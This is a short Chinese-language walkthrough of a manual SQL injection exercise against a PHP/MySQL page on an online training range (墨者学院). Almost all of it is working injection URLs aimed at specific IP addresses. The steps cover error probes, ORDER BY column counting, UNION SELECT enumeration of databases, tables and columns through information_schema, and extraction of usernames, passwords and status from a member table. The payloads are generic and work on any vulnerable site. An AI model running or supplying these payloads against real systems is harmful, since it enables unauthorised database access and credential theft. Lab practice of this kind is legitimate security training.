SQL手工注入漏洞测试_PHP

靶场地址SQL手工注入漏洞测试(MySQL数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养1、我们先找出注入点

2、测试

1、http://124.70.64.48:40896/new_list.php?id=1' //' 报错存在注入

2、http://124.70.64.48:40896/new_list.php?id=1%20and%201=1 //and 1=1 不报错

3、http://124.70.64.48:40896/new_list.php?id=1%20and%201=2 //and 1=2 报错注入

4、使用order by 查询 1-4可以正常说明不大于5

http://124.70.64.48:40896/new_list.php?id=1%20order%20by%205
3，5、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,2,3,4
使用联合查询，返回在2和3

6、查询数据库名称和版本

http://219.153.49.228:48730/new_list.php?id=-1 union select 1,database(),version(),4

7、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,schema_name,3,4 from information_schema.schemata limit 0,1 后面以次查询1,1、2,1、3,1
查询数据库，使用limit0,1表示从第0行开始取1行数据。

8、查询mozhe_Discuz_StormGroup的数据库的表的名字，从第0行取一行数据http://219.153.49.228:48730/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’ limit 0,1 后面以次查询1,1、2,1、3,1

9、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘StormGroup_member’ limit 0,1
查询StormGroup_member的表的字段内容，从第0行取一行数据

10、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

11，http://219.153.49.228:48730/new_list.php?id=-1 union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1